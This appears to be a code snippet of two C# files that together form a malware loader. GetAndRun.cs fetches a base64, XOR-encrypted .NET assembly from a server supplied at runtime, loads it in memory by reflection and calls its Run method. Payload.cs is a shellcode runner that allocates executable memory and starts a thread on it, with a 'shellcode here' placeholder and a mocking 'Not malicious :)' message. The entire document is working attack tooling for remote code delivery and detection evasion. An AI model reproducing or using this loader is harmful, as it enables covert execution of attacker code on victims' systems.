Downloads a XOR encrypted assembly payload (Payload.cs) and executes the "Run" method using .NET reflection

GetAndRun.cs

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;

namespace GetAndRun
{
    class Program
    {
        static void Main(string[] args)
        {
            string server = args[0];
            string key = args[1];
            WebClient client = new WebClient();
            Stream stream = client.OpenRead(server);
            StreamReader reader = new StreamReader(stream);
            byte[] code = Convert.FromBase64String(reader.ReadToEnd());
            byte[] assemblyBytes = xor(code, Encoding.ASCII.GetBytes(key));

            Assembly assembly = Assembly.Load(assemblyBytes);
            Type type = assembly.GetType("Payload.Program");
            object obj = Activator.CreateInstance(type);
            type.InvokeMember("Run",
                BindingFlags.Default | BindingFlags.InvokeMethod,
                null,
                obj,
                new object[] { });
        }

        private static byte[] xor(byte[] cipher, byte[] key)
        {
            byte[] xored = new byte[cipher.Length];

            for (int i = 0; i < cipher.Length; i++)
            {
                xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
            }

            return xored;
        }
    }
}

Payload.cs

using System;
using System.Runtime.InteropServices;

namespace Payload
{
    public class Program
    {
        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );

        public static void Run()
        {

            //shellcode here
            byte[] payload = new byte[1] { 0x00 };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(payload, 0, (IntPtr)(funcAddr), payload.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        public static void Main()
        {
            Console.WriteLine("Not malicious :)");
        }

    }
}